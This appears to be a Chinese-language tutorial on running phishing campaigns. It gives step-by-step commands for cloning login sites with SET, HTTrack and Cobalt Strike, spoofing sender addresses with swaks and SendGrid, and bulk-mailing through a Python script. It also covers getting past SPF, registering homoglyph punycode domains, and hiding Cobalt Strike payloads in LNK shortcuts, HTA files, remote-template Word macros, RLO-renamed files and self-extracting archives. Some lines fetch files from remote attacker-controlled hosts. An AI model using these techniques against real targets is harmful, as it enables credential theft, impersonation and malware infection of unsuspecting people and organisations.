• 常见钓鱼手法


    (之前在freebuf发过,所以图片会有水印)

    钓鱼网站部署(克隆)

    Social Engineering Tools(SET)

    kali自带,启动:setoolkit

    1640080266_61c1a38a3cab2fc57cf6d.png!small?1640080267244

    选择Social-Engineering Attacks

    1640080286_61c1a39e0bc4e650f5415.png!small?1640080287080

    一般选择1或者2

    1:鱼叉式网络钓鱼攻击

    1640080300_61c1a3acd67df590f81a2.png!small?1640080301186

    1640080318_61c1a3be3feae66a35ce5.png!small?1640080318415

    2:网页攻击

    Web攻击模块是一种独特的方式,利用多种基于Web的攻击,以危及预期的受害者。

    • Java Applet Attack方法将欺骗Java证书并提供一个基于metasploit的有效负载。使用Thomas Werth创建的自定义java applet来交付有效负载。
    • Metasploit Browser Exploit方法将利用选择Metasploit浏览器利用通过iframe和交付一个Metasploit有效负载。
    • Credential Harvester方法将利用具有用户名和密码字段的网站的web克隆,并收集发布到网站上的所有信息。
    • TabNabbing方法将等待用户移动到不同的选项卡,然后刷新页面到不同的内容。
    • Web-Jacking攻击方法利用iframe替换,使突出显示的URL链接显示合法,但当单击弹出的窗口,然后被恶意链接取代。如果它太慢/太快,你可以在set_config中编辑链接替换设置。
    • Multi-Attack方法将通过web攻击菜单添加攻击组合。例如,你可以一次性使用Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing来查看哪一个是成功的。
    • HTA攻击方法将允许您克隆一个站点,并通过HTA文件执行powershell注入,可用于通过浏览器利用基于windows的powershell。

    1640080327_61c1a3c770616f762a912.png!small?1640080327075

    例如8:HTA attack

    1640080337_61c1a3d16aa8630c7c193.png!small?16400803371601640080346_61c1a3da3a67de2634c94.png!small?1640080346477

    SET克隆的源码保存在 /root/.set/web_clone/  目录下

    httrack

    HTTrack是一个网站镜像工具,本来是用来抓取网站做离线浏览用的。但是HTTrack的爬虫特性和搜索引擎蜘蛛爬虫非常的像,这也逐渐应用到 SEO(搜索引擎优化)工作中。其实这两种看似不同的爬虫做的都是同样的工作,就是复制网站并存储下来(网站在搜索引擎中的网页快照就是被存储下来的内容)。

    httrack只能用于克隆静态内容,而无法完全复制网站上的动态内容、中间部分(数据库)等内容

    kali自带。

    Windows版:http://www.httrack.com/

    使用:

    第一步:创立项目的名称(工程名)

    1640080378_61c1a3fa8c4905d5dbf19.png!small?1640080377971

    第二步:选择操作方式,再点击“添加URL”,将我们的网站地址添加进去。

    1640080388_61c1a404bab0c028a19a5.png!small?1640080388196

    第三步:进入“选项”,设定爬行和抓取规则等选项

    1640080399_61c1a40f7b17f21186e86.png!small?1640080398967

    在选项中,取消使用代理进行FTP传输;

    进入“扫描规则”,为HTTrack程序设定爬行和抓取规则,HTTrack里面自带了一些,可以自己设置,也可以默认。

    1640080422_61c1a42678c4f4c38b5dc.png!small?1640080422117

    这样的扫描规则搜索引擎也一定会有的,比如不收录.exe文件,zip文件等等。然后不收录一些特定的跟踪链接, 如 ad.doubleclick.net 。你需要把一些搜索引擎爬虫不收录的特征加进去。

    然后在“搜寻”里面,很多的特征都是现在搜索引擎爬虫的特征:

    1640080434_61c1a4329381d53d6f540.png!small?1640080434050

    一般的搜索引擎不会接收cookies,因此测试时我们也将此项去掉。

    第四步:一般按照以上设置就可以,其他的默认就行。点击下一步:

    1640080449_61c1a441894ef46ee8cd8.png!small?1640080449007

    在此页面,我们不用选择任何项,直接点击完成就可以进行测试了,如下图

    1640080460_61c1a44c9ee4501013773.png!small?1640080460126

    此时,HTTrack开始对网页进行爬行,抓取。

    1640080471_61c1a457f4040ade97c85.png!small?16400804715051640080477_61c1a45dc9d0a893b7f17.png!small?1640080477328

    克隆效果比较好,只不过文件会比较大:

    1640080485_61c1a465e0de2457e2a77.png!small?1640080485318

    Cobalt Strike –clone

    1640080500_61c1a474984192875a8b2.png!small?16400805001611640080508_61c1a47ce86b26cf31389.png!small?1640080508495

    可以进行键盘记录,窃取口令,也能结合其他攻击

    在Web日志里查看访问日志:

    1640080518_61c1a486d91e080727248.png!small?1640080518374

    邮件伪造

    邮件安全的三大协议

    SPF

    SPF详解: http://www.renfei.org/blog/introduction-to-spf.html

    SPF是 Sender Policy Framework 的缩写,一种以IP地址认证电子邮件发件人身份的技术。 接收邮件方会首先检查域名的SPF记录,来确定发件人的IP地址是否被包含在SPF记录里面,如果在,就认为是一封正确的邮件,否则会认为是一封伪造的邮件进行退回。例如:当邮件服务器收到自称发件人是spam@gmail.com的邮件,那么到底它是不是真的gmail.com的邮件服务器发过来的呢,我们可以查询gmail.com的SPF记录,以此防止别人伪造你来发邮件。

    原理:

    SPF 记录实际上是服务器的一个 DNS 记录,原理其实很简单:

    假设邮件服务器收到了一封邮件,来自主机的 IP 是173.194.72.103,并且声称发件人为email@example.com。为了确认发件人不是伪造的,邮件服务器会去查询example.com的 SPF 记录。如果该域的 SPF 记录设置允许 IP 为173.194.72.103的主机发送邮件,则服务器就认为这封邮件是合法的;如果不允许,则通常会退信,或将其标记为垃圾/仿冒邮件。

    因为不怀好心的人虽然可以「声称」他的邮件来自example.com,但是他却无权操作example.com的 DNS 记录;同时他也无法伪造自己的 IP 地址。因此 SPF 是很有效的,当前基本上所有的邮件服务提供商(例如 Gmail、QQ 邮箱等)都会验证它。

    DKIM

    DKIM让企业可以把加密签名插入到发送的电子邮件中,然后把该签名与域名关联起来。签名随电子邮件一起传送,而不管是沿着网络上的哪条路径传送。电子邮件收件人则可以通过DNS查询得到公开密钥后进行验证邮件是否来自该企业。可确保邮件内容不被偷窥或篡改。

    那么我们如何获取到发件方的DKIM的密钥呢?在DKIM中有一个选择器(selector)的概念,通过此功能可以为不同的用户提供不同的签名,想要找到发件方的DKIM服务器,首先需要找到selector,在邮件的DKIM头中,s字段的值即为DKIM的selector,获取到selector后,我们就可以在如下域名中找到密钥。

    selector._domainkey.xxxxxxxx.com

    以博客园的邮件为例,查看邮件源文件,通过s字段可以得到selector的值为mail。

    1640080551_61c1a4a72e3a8fbd348f1.png!small?1640080550809

    因此博客园的DKIM服务器域名为s1024._domainkey.send.cnblogs.com,同样通过dig或者nslookup即可获取解密密钥。

    1640080558_61c1a4ae58524ea20d1e6.png!small?1640080557911

    DMARC

    DMARC(Domain-based Message Authentication, Reporting & Conformance)是txt记录中的一种,是一种基于现有的SPF和DKIM协议的可扩展电子邮件认证协议,其核心思想是邮件的发送方通过特定方式(DNS)公开表明自己会用到的发件服务器(SPF)、并对发出的邮件内容进行签名(DKIM),而邮件的接收方则检查收到的邮件是否来自发送方授权过的服务器并核对签名是否有效。对于未通过前述检查的邮件,接收方则按照发送方指定的策略进行处理,如直接投入垃圾箱或拒收。从而有效识别并拦截欺诈邮件和钓鱼邮件,保障用户个人信息安全。

    邮件网关检测原理

    以上是协议层面的安全防护,但是协议防护也不是万能的,在真实的企业安全防护中,安全邮件网关是保护邮件安全的有效方案。邮件安全防护产品在此次钓鱼邮件对抗中起到了重要作用,下面简单介绍一下邮件网关的防护原理。

    规则库:

    和杀毒软件一样,为了降低误报,一些邮件网关会使用规则库的技术,一些我们认定为垃圾邮件的邮件,则会被当做邮件样本加入规则库,下次如果再次遇到相同的邮件即可进行检测。

    邮件头检测:

    检测mail from和from字段是否一致,检测SPF、DKIM、DMARC是否符合。

    防病毒:

    邮件中嵌入恶意附件也是常用的攻击方式,邮件内容都是BASE64编码的,因此附件是可以直接进行还原,很多邮件网关都会内置防病毒引擎,甚至有的还有沙箱技术,让附件样本模拟运行后,通过行为来动态判断附件的黑白。一些攻击者在发送木马附件的邮件后可能会遇到有目标上线但很快下线的情况,遇到这种情况也不要高兴的太早,拿到的可能并不是一个真正的主机权限,而是一个沙箱。

    黑白名单:

    黑白名单是简单有效的防护方式,可以针对发件箱、源IP、发件域名等设置黑白名单,特别是在应急响应阶段,黑白名单可以实现快速控制威胁扩散。

    频率检测:

    对于同一源IP或者邮箱,如果一段时间内发送了大量邮件,则认定发件人为攻击者,采取黑名单方式禁止其访问目标。

    超链接检测:

    在钓鱼邮件检测中常用,提取邮件中所有超链接,然后依次判断链接是否已经在恶意链接的规则库中。对于文本显示的链接和超链接的实际链接不同的情况,也会提示为钓鱼邮件。

    机器学习:

    对发件人的邮箱域名进行学习,识别出与真实域名相近的域名,比如tools.com、t00ls.com、tooIs.com等,如果发现类似域名的发件人,则标记为危险邮件。

    查看SPF配置情况

    如果SPF没配置的话,那么任何人都可以像邮件服务器自定义内容发送邮件,这样就会导致邮件伪造。(邮件的中转是通过SMTP协议的)

    要想查看一个域名是否配置了SPF,可以用nslookup或者dig查看:

    nslookup -type=txt domain
    dig -t txt domain

    例如:nslookup -type=txt qq.com

    (如上图是配置了SPF)(SPF可以配置为ip,也可以配置为域名)

    1640080591_61c1a4cfd4620477a7939.png!small?1640080591313

    未配置的话,是这样的:

    1640080637_61c1a4fd082bcafb5b4fd.png!small?1640080637117

    特例:软拒绝  ~all

    1640080643_61c1a503b0fead56418e0.png!small?1640080643279

    ~前缀代表软拒绝,对接收方来说,遇到有软拒绝的域名没有通过SPF校验,通常采取的策略是放行或者标记为垃圾邮件

    当然,最好还是对目标多做一些域名收集,寻找一些没有SPF记录的域名,比如xxxx.com、xxxx.cn或者一些三级域名,甚至可以尝试任意伪造一个不存在的三级域名,比如1111.xxxx.com。用这些域名发送钓鱼邮件。

    伪造邮件的发送

    邮件为什么可以被伪造呢,最根本的原因就是SMTP协议不会验证发送者的身份,当邮件在两个不同的SMTP邮件服务器中被传输时,我们可以通过伪造来源欺骗接收者的SMTP服务器。

    没有spf的情况下

    没有配置SPF,邮件服务器就不会去验证发件人,就可以直接进行伪造了。

    swaks
    • swaks基本用法

    swaks是邮件伪造工具,kali中自带

    1.测试是否可以和目标邮箱发送数据

    执行命令:swaks –to [*****@qq.com]

    1640080904_61c1a60822399cb7b0082.png!small?1640080903872

    前面都返回250ok,说明该邮箱存在,并且可以正常收信。最后可以看到qq邮箱返回550错误,qq官方给出的出错原因:该邮件内容涉嫌大量群发,并且被多数用户投诉为垃圾邮件。

    2.swaks参数说明

    执行命令:swaks –help 可以看到n多参数和实例

    1640080702_61c1a53ef04a476a81999.png!small?1640080702590

    --to 目标邮箱

    --from 邮件发送者

    --ehlo <伪造的邮件ehlo头>

    --body <邮件正文>

    --attach 添加附件

    --header-From 邮件头

    --header "Subject:主题" 邮件主题

    如:

    swaks --to xxxx@qq.com --from info@XXX.com --ehlo XXX.com --body hello --header "Subject: hello"

    3.发送钓鱼邮件

    执行

    swaks --to ****@qq.com --from ***@qianxin.com --h-From: '"总裁办"<admin@qianxin.com>' --header "Subject: 关于集团报告渗透测试word模板更新的通告" --body "各位一线工程师,集团对外word统一格式,请下载附件使用,谢谢合作!" --attach-name 渗透报告模版.doc --attach-type application/msword --attach /tmp/渗透报告模版.doc

    注: attach-type是传输文件的MIME类型、 attach-name是名字

    理论上不加这两个也可以的。

    使用swaks发送邮件,命令如下:

    swaks --to yokan******@163.com --from admin@******.io --header "Subject: work" --body "hello,just test!" --attach /tmp/1.txt

    第一次发送的时候会失败,提示,请15分钟后再尝试。

    1640080754_61c1a572533f735033998.png!small?1640080753768

    查看163的错误说明,说明中却写着2分钟后再尝试。

    1640080801_61c1a5a1480c9daf42335.png!small?1640080800744

    那就隔2分钟后再发送邮件,返回250发送成功。

    1640080808_61c1a5a8453745fc495fc.png!small?16400808077091640080979_61c1a653d4c9bd04214b4.png!small?1640080979318

    软拒绝的话,可能会进垃圾邮件:

    1640081025_61c1a6818d71299f6eea6.png!small?1640081025084

    • swaks的高级用法

    点击查看邮件原文,然后将邮件原文复制,另存为txt文件

    1640081051_61c1a69b5591151370595.png!small?1640081050859

    删掉received字段和to字段

    1640081064_61c1a6a867b95811d5fc4.png!small?1640081064291

    swaks --data email.txt --to xxxxxxxx@qq.com--from “xxx@126.com
    (概率成功)

    --data表示邮件原文

    • python脚本调用swaks批量发送邮件

    该工具批量发送带有自定义内容的邮件不方便,于是写了一个py脚本,使用--data参数,方便批量发送

    import time
    import sys
    import subprocess
    #发送的完整邮件内容有2部分组成,一部分是收件人,是可变的,一部分是邮件内容,是不变的,内容使用file_c变量,收件人使用file_f变量,具体看脚本内容
    
    file_c = '''Subject: =?gb2312?B?xxxxxxxdLss6M=?=  
    #主题等都是gb2312编码后的base64加密
    #Thread-Topic: =?gb2312?B?0/Lxxxxxxxxxss6M=?=
    Thread-Index: AdT6eO/KxxxxxxxxxxxxxxxxIKA==
    Date: {time.ctime()} +0800
    #发送邮件是提前发送的模板邮件,所以需要获取当前时间作为发送时间,不然接收的时间会不对
    Accept-Language: zh-CN, en-US
    Content-Language: zh-CN
    X-MS-Has-Attach:
    X-MS-TNEF-Correlator:
    x-originating-ip: [x.x.x.x]
    Content-Type:xxxxxxxxx;
    Return-Path: administrator@xxx.com
    xxx内容xxx '''
    
    file = open(f'/usr/local/src/{sys.argv[1]}', 'r')
    names = file.readlines()
    for name in names:
        file_f = f'To: "{name.strip()}" <{name.strip()}>\n'
        #print(file_f)
        with open('/usr/local/src/file.txt', 'w') as f:
            f.writelines(file_f + file_c)
        status = subprocess.Popen(['swaks', '--tls', '--data', '/usr/local/src/file.txt', '--to', name.strip(), '--from', 'administrator@xxx.com'], stdout=subprocess.PIPE)
        lg = status.stdout.readlines()
        print(type(lg))
        with open('/usr/local/src/log.txt', 'a+') as g:
            for line in lg:
                g.write(line.decode())
    
    EwoMail

    也可以自己在vps上搭建邮件服务器

    EwoMail是基于Linux的企业邮箱服务器:https://github.com/gyxuehu/EwoMail

    1640081133_61c1a6edb7a518df74af3.png!small?1640081133345

    或者使用第三方的邮件服务器。

    在线邮件伪造服务

    邮件伪造服务:http://tool.chacuo.net/mailanonymous
    1640081146_61c1a6fad022b6bae1406.png!small?1640081146545
    网址:https://emkei.cz/\

    1640081168_61c1a7101818b18643999.png!small?1640081167697

    发送之后

    没有SPF,邮件网关就不会进行拦截,收到后直接看是完全无异样,但查看邮件源文件发现from的ip非域名对应ip,但对于普通用户来说欺骗性很强。

    1640081184_61c1a72076c33012c3826.png!small?1640081184744

    配置了SPF的情况

    配置了SPF,按照上边这种方法发送的话,通常情况下就会被直接拦截或者进了垃圾箱

    这种情况就需要用一些权威的邮件服务商去发送邮件了
    如sendgrid,mailgun,这些权威邮件服务商,会被大部分邮件服务商加到白名单中,这样他们的邮件就不会进到垃圾箱

    SendGrid

    30天试用,能免费发送40000封邮件

    https://sendgrid.com
    注册 SendGrid (需要验证域名所有权,但发信可以不使用这个域名),获得一个 API ,然后有多种方式发送邮件,最方便的是 Curl :

    curl --request POST \
      --url https://api.sendgrid.com/v3/mail/send \
      --header "Authorization: Bearer 你的 API" \
      --header 'Content-Type: application/json' \
      --data '{"personalizations": [{"to": [{"email": "发给谁"}]}],"from": {"email": "发件人(你想伪造成谁)"},"subject": "标题","content": [{"type": "text/plain", "value": "内容"}]}'
    

    这种方式只需要你有一台服务器,在服务器里面运行这条命令即可发送伪造邮件。但是这种方式无法自定义发件人名字,

    mailgun

    mailgun也类似,每个月可免费发送10000封邮件,可以添加1000个域名,每封邮件都有跟踪日志,简单明了的管理界面。:
    https://www.mailgun.com

    # Try our API. Copy & run this in your terminal.
    curl -s --user 'api:key-**********' \
        https://api.mailgun.net/v3/samples.mailgun.org/messages \
        -F from='Excited User <excited@samples.mailgun.org>' \
        -F to='devs@mailgun.net' \
        -F subject='Hello' \
        -F text='Testing some Mailgun awesomeness!'
    

    其他同类服务:
    Amazon SES 免费套餐,月发送 62000 封电子邮件。

    https://aws.amazon.com/cn/ses/pricing/

    阿里云邮件推送服务,每个账户每日200封免费邮件。

    https://www.aliyun.com/product/directmail?spm=5176.8064714.321187.pricedetail1111.MpRlp1

    SendCloud 搜狐旗下付费服务

    https://sendcloud.sohu.com

    MandRill 付费服务

    https://www.mandrill.com/pricing/

    Postmark 免费试用

    https://postmarkapp.com/pricing

    软拒绝(~all)

    ~前缀代表软拒绝,对接收方来说,遇到有软拒绝的域名没有通过SPF校验,通常采取的策略是放行或者标记为垃圾邮件

    1640081265_61c1a771d3a1b7009ae5f.png!small?1640081266586

    使用swaks发送邮件,命令如下:

    swaks --to yokan********@163.com --from admin@******.com --header "Subject: work" --body "hello,just test!" --attach /tmp/1.txt

    第一次发送的时候会失败,提示,请15分钟后再尝试。

    1640081290_61c1a78a93da977124ecb.png!small?1640081290049

    查看163的错误说明,说明中却写着2分钟后再尝试。

    1640081299_61c1a793830a6e4862ccc.png!small?1640081299007

    那就隔2分钟后再发送邮件,返回250发送成功。

    1640081306_61c1a79a8d21f1eb886be.png!small?1640081305994

    不过会进垃圾邮件:

    1640081321_61c1a7a95905ea639add0.png!small?1640081320999

    另类方法绕SPF

    由于邮件网关会对SPF记录中的IP开启白名单,对SPF记录中的IP进行漏洞探测,如果能获取这些IP的控制权,以白名单身份发邮件,即可完美绕过所有限制。例如,对目标域名进行了SPF查询,发现了3个IP。

    1640081331_61c1a7b3c59d9a3386732.png!small?1640081331277

    发现其中一个IP开了23端口,telnet连上去直接可以转发邮件不需要任何认证。

    提高送达成功率
    • 适当控制发信的频率,如果短时间内向同一个邮箱地址发信,也会容易被标记为垃圾邮件。最好向同一邮箱发信间隔在2-5天
    • 将较大的收件人列表分割成若干个小的,分时间段发送
    • 使用变量,一般来说,邮件服务器多次收到来自同一个邮件IP地址的相同内容邮件,很容易就被判定为垃圾邮件。在进行邮件编辑时,多采用变量设置,像公司名、收件人,可以进行变量添加,避免邮件内容完全一致
    • 回执。当我们想要对从⽹上收集到的邮箱进⾏邮件钓⻥时,⼀⼤堆邮箱,怎么确保对应的邮箱依然存活,⼜或者说哪些邮箱的钓⻥成功率⾼点?这时候就需要⽤到邮箱的回执功能,当开启回执时,我们的邮件被对⽅已读时,我们就会收到⼀份回执信息:1640081342_61c1a7be1c48def71c076.png!small?1640081342343

    这种情况下,我们就可以对已读的邮箱进⾏深⼊钓⻥。

    钓鱼邮件的内容

    钓鱼邮件通常有两大类,一种是链接钓鱼邮件,通常是想各种办法让目标打开网站,输入密码。另一种是附件钓鱼邮件,但不管哪一类,都需要一个好的文案来让目标点击或者下载。

    一封成功的钓鱼邮件,一个好的文案是必须的,一个让人看了后可能会去点的文案,需要具备以下几个要素:

    重要性

    首先得让体现出来邮件的重要性,来驱使目标去查看邮件。

    合理性

    其次文案得基本合理,这个就需要结合目标的身份,日常习惯,所在公司的情况及业务进行综合考量,来编写出一个合理的文案。

    紧迫性

    最后文案最好有一些紧迫性,来促使目标尽快的去按照文案引导,进行点击、输入等操作。

    链接钓鱼

    邮件内容设置

    账号被异常登录

    1640089526_61c1c7b6e01df93dadaa4.png!small?1640089545379

    账号密码过期

    1640089543_61c1c7c726c8e6ee460c9.png!small?1640089561268

    系统更新,迁移

    1640089588_61c1c7f4e5967d35ee5bd.png!small?16400896071341640089597_61c1c7fd2ac1475252425.png!small?1640089615198

    领取礼品

    1640089606_61c1c80674a2861e712bc.png!small?1640089624575

    钓鱼链接域名伪装

    有了文案,怎么能让邮件看起来真实性更高呢?
    最简单的就是用超链接,把元素内容改成想要仿冒的域名,在邮箱页面上,就会直接显示元素的内容,如下图所示:

    <a href="http://www.eval.me">www.aliyun.com</a>

    1640089630_61c1c81e2ccf478e87e00.png!small
    但这种点击完之后,跳转浏览器的时候就会显示真实的域名,所以,要想让钓鱼的成功率更高一些,就需要对域名做一些处理。比如申请一些和目标域名比较相似的域名,比如用0代替o,用1代替l,用vv代替w等等,这就需要发挥你的想象来寻找相似的域名:

    http://www.taoba0.com/
    http://www.a1iyun.com

    如果找不到这样形似的域名或者这种域名比较贵的情况下,可以尝试一些更骚的操作。。

    比如币安“惊魂夜”钓鱼的案例:

    用户收到的钓鱼网站链接:

    1640089677_61c1c84d4382cb318e7bc.png!small?1640089695413

    真正的官网链接:

    1640089686_61c1c85692bfb65ebfe23.png!small?1640089704630

    攻击者的域名为

    www.biṇaṇce.com

    图中用于替换字母n的字符为:ṇ
    Unicode编码为:U+1E47

    真正的字母n的Unicode编码为:
    U+006E,攻击者上演了一出障眼法骗过了那些受害者。

    1640089701_61c1c865aa822bf440f7d.png!small?1640089719688

    这样的域名是怎么注册的呢?在了解怎么注册一个这样的域名前,需要先了解什么是国际域名(Internationalized domain name, IDN)。
    IDN是指在域名中包含至少一个特殊语言字母的域名,特殊语言包括中文、法文、拉丁文等。在DNS系统工作中,这种域名会被编码成ASCII字符串,并通过Punycode进行翻译。

    Punycode是一个根据RFC 3492标准而制定的编码系统,主要用于把域名从地方语言所采用的Unicode编码转换成为可用於DNS系统的编码。

    目前,因为操作系统的核心都是英文组成,DNS服务器的解析也是由英文代码交换,所以DNS服务器上并不支持直接的中文域名解析,所有中文域名的解析都需要转成punycode码,然后由DNS解析punycode码。其实目前所说的各种主流浏览器都完美支持IDN域名,浏览器里面会自动对IDN域名进行Punycode转码,而地址栏依旧显示的是原始输入的IDN域名。

    所以,要想注册“币安”的这个域名:

    www.biṇaṇce.com

    其实只需要注册他经过punycode转码后的域名:

    www.xn--biace-4l1bb.com

    然后让目标访问www.biṇaṇce.com,在地址栏中就很难被发现。

    1640089734_61c1c8861b0141001ff20.png!small?1640089752181

    我遍历了unicode表,找了一些字母形似的unicode,可利用此表来注册一些钓鱼域名

    1640089746_61c1c8920965cb63a2a59.png!small?1640089764123

    仿冒的阿里云

    www.аlіyun.com 
    0x456 і
    0x430 а
    经punycode转码:www.xn--lyun-43d3u.com

    1640089782_61c1c8b6efb41ccd367b7.png!small?1640089801005

    punycode在线转换工具:http://tools.jb51.net/punycode/index.php

    附件钓鱼

    INK

    https://xz.aliyun.com/t/8062

    lnk⽂件,简单理解为快捷⽅式,创建⽅式如下:

    1640089805_61c1c8cdad2d8bc1b3333.png!small?1640089823742

    下图为calc.exe的快捷⽅式的属性信息,我们可以在“⽬标”栏写⼊⾃⼰的恶意命令,如powershell上线命令:

    1640089823_61c1c8dfeffb469424e01.png!small?1640089842107

    1640089833_61c1c8e98a44b170fdb25.png!small?1640089851562

    然后运行,即可在CS上线。

    ⽽在实施钓⻥过程中,对于我们的calc.exe的快捷⽅式来说,⼀个⼤⼤的计算机ico图标,显然看起来不像⼀个好玩意,因此可以尝试在“属性”中去更改该⽂件的图标:

    1640089841_61c1c8f1a5caa8b1001f9.png!small?1640089859928

    但是⽤系统⾃带的ico去做⽂件图标替换的话,有个弊端,即当替换的ico在⽬标机器上不存在时,就会出现类似空⽩ico图标:

    比较好的方法是修改lnk的icon_location标志位,修改为相关后缀,系统即可⾃动联想到对应的打开⽅式:

    用winhex或者010 Editor打开该LNK文件,找到String Data部分ICON_LOCATION字符串:

    1640089854_61c1c8fea28937376aaff.png!small?1640089872736

    我们要将其修改为.\1.pdf(Unicode),其长度0x07:

    1640089868_61c1c90c2776c5cd14e27.png!small?1640089886192

    07002E005C0031002E00700064006600

    我的pdf默认是由edge浏览器打开,则在icon_location中设置为pdf后缀时,⽂件的ico也会自动显示为edge浏览器打开的图标, 这样可以达到⾃适配的效果:

    1640089875_61c1c91372cfd1b8d18af.png!small?1640089893523

    当受害者中招打开我们的所谓的pdf,实则为恶意的快捷⽅式时,双击两下,什么反应都没有,可能会有⼀丝疑惑,因此可以当尝试⽤powershell、mshta等式上线时,我们可以更改如cobaltstrike成的代码,加上动下载打开份真的pdf,来达到逼真的效果,具体过程如下:

    首先新建一指向%windir%\System32\mshta.exe的快捷方式(文件名尽量带有迷惑性),并更改其图标为%SystemRoot%\System32\SHELL32.dll中任意一个:

    1640138966_61c288d6d0134b7aa5d76.png!small?1640138966276

    使用CS生成一个powershell方式的HTA木马

    1640138974_61c288de1130769b4f607.png!small?1640138973303

    打开hta文件,在其执行payload前增加如下 语句:

    Dim open_pdf
    Set open_pdf = CreateObject("Wscript.Shell")
    open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.50.15:8000/1.pdf',$env:temp+'\1.pdf');Start-Process $env:temp'\1.pdf'", 0, true

    1640138996_61c288f407a96aa21d94d.png!small?1640138995400

    然后python起个http服务

    1640139010_61c28902380756a5a260f.png!small?1640139009570

    这样一来,在受害者打开LNK文件后会从远程下载一正常PDF文档并打开。

    接下来使用上面的方法修改快捷方式图标为pdf的图标。

    1640139017_61c289096aeaa832b1cc3.png!small?1640139016686

    使用CS设置HTA文件下载:

    1640139025_61c2891125edeaf2d2ca9.png!small?1640139024465

    之后更改快捷方式的参数为HTA下载地址:

    1640139033_61c289197c03a35e3a946.png!small?1640139032766

    之后双击该LNK文件,主机便会上线,而受害者会看到一正常的PDF文档:

    1640139039_61c2891fd771b94962af5.png!small?16401390391331640139048_61c2892840f65b46d0f9d.png!small?1640139047493

    CS

    生成office宏病毒文件,此程序包生成一个VBA宏,您可以将其嵌入到Microsoft Word或Excel文档中。 此攻击适用于Windows上的x86和x64 Office

    1640089902_61c1c92e58de626648820.png!small?16400899203851640089916_61c1c93c95a62e1e7b9a4.png!small?1640089934668

    在word的视图功能中植⼊相关宏:

    1640089925_61c1c945a9d36bcc2ea92.png!small?1640089943807

    随便创建一个宏,将CS的Macro代码复制进去保存就可以。运行,word即可上线。(excel类似)

    但是此种办法有个弊端,就是宏代码是存在本地的,极易被杀软查杀。

    1640089937_61c1c9511b6aab2db7408.png!small?1640089955215

    远程模板注入宏代码

    因此我们可以尝试使⽤远程加载模板的⽅式在进⾏宏加载。

    原理:

    利用Word文档加载附加模板时的缺陷所发起的恶意请求,而达到的攻击目的,所以当目标用户点开攻击者发送的恶意Word文档就可以通过向远程服务器发送恶意请求的方式,然后加载模板执行恶意模板的宏。

    发送的文档本身不带恶意代码,所以能过很多静态检测。只需要在远程DOTM文档中编写宏病毒或者木马即可。

    思路:

    编写一个带有宏代码的DOTM文档,上传服务器

    编写一个带模板的DOCX文档

    将该文档压缩找到并更改settings.xml.rels文件中的内容,将其中的target内容修改为服务器上DOTM文档的URL

    将DOCX解压后的内容再以存储模式压缩为ZIP

    修改后缀名为DOCX,打开后即可实现远程注入宏文档

    新建word, 打开宏代码编辑环境后,在本文档的ThisDocument下,编写如下宏代码

    1640089958_61c1c966b2de007c99418.png!small?1640089976829

    保存时保存类型为 dotm :

    1640089969_61c1c9714d579373aeabb.png!small?1640089987376

    开启Web服务,放在其目录下, http://192.168.111.234/cs_macro.dotm

    制作 docx

    创建一个简历模板word文档:

    1640089977_61c1c97996abddda0eef8.png!small?1640089995604

    1640089984_61c1c980bdfdfabad8e89.png!small?1640090002898

    将word文件后缀 docx 改为 zip,解压,找到settings.xml.rels

    1640089995_61c1c98b87f88bb446c75.png!small?1640090013625

    用文本编辑器打开,修改target项,可用的协议有ftp、smb、http,这里使用http:

    将 target 内容改为http://192.168.111.234/cs_macro.dotm

    1640090006_61c1c996028afb9945ce8.png!small?1640090024047

    之后全选目录所有文件,压缩为macro_test.zip,再将后缀改为docx

    1640090014_61c1c99e796adf10b9651.png!small?1640090032553

    1640090023_61c1c9a7980436ef3847d.png!small?1640090041630

    制作完成。

    双击打开,启动宏,即可上线:

    1640090031_61c1c9af74bc0e84418fd.png!small?16400900495551640090039_61c1c9b74269558fcd254.png!small?1640090057346

    宏免杀

    https://github.com/outflanknl/EvilClippy

    https://skewwg.github.io/2020/12/05/diao-yu-yu-she-gong-xi-lie-zhi-office-hong/

    http://www.h0r2yc.com/2019/08/01/office%E5%AE%8F%E6%94%BB%E5%87%BB%E5%8F%8A%E5%85%8D%E6%9D%80/

    文件名反转RLO

    RLO,即Right-to-Left Override,我们可以在⽂件名中插⼊此类unicode字符,来达到⽂件名反转的效果。

    以calc.exe来举例,

    将其重命名为calcgpj.exe,然后在 calc 与 g 之间右键,看图操作

    1640090065_61c1c9d141c71dd68a9cf.png!small?1640090083588

    ok,此时已经变成了 以 jpg 结尾的了。但是双击运行还是 exe 格式运行的。

    1640090073_61c1c9d94b73778ecb10e.png!small?1640090091365

    再利用ResourceHacker修改图标。

    找个图片转换为 ico 格式。

    http://www.bitbug.net/

    1640090080_61c1c9e0e0afd9b774c51.png!small?1640090099156

    如图,双击实际上还是运行的calc。

    自解压

    首先我们需要准备好木马(cmd.exe)、正常程序(calc.exe)

    1640090100_61c1c9f4631d17cc078b4.png!small?1640090118544

    1.选中两个程序,然后添加到压缩文件,创建自解压

    1640090119_61c1ca072d457f5da2d0d.png!small?1640090137288

    2.高级自解压选项,常规:解压路径 ——> 绝对路径:

    路径写C:\windows\temp

    3.高级自解压选项->设置

    1640090136_61c1ca180bcff91779686.png!small?1640090154115

    C:\windows\temp\选中的木马名

    C:\windows\temp\选中的程序名

    4.高级自解压选项->模式

    静默模式->隐藏所有

    5.高级自解压选项->更新

    更新模式->解压并更新

    覆盖模式->覆盖所有文件

    6.确定

    1640090149_61c1ca25c825d5acb287b.png!small?1640090167897

    执行一下,发现达到了效果,在这里我们还需要做一些细节的伪装.

    使用Resource Hacker换一下图标:

    运行

    1640090158_61c1ca2ee6df72bf3baa8.png!small?1640090177031

    自解压+RLO

    • 将png图片和exe自解压成 gnp.exe
    • RLO,文件名反转成png
    • 修改png图标,变成个图片
    • 运行,看起来是个图⽚,后缀也是个图⽚,打开也是个图⽚,但是木马成功执行

    1640090169_61c1ca395685ac81d6102.png!small?1640090187511

    1640090177_61c1ca41e79d073241a74.png!small?1640090196063

    双击,pikaexe.jpg

    1640090184_61c1ca48cec197652e5b5.png!small?1640090202940

    CVE-2017-11882

    适用于:

    MicrosoftOffice 2000
    MicrosoftOffice 2003
    MicrosoftOffice 2007 Service Pack 3
    MicrosoftOffice 2010 Service Pack 2
    MicrosoftOffice 2013 Service Pack 1
    MicrosoftOffice 2016
    MicrosoftOffice 365

    Microsoft Office Word 的一个执行任意代码的方法,可以在不启用宏的情况下执行任意程序。

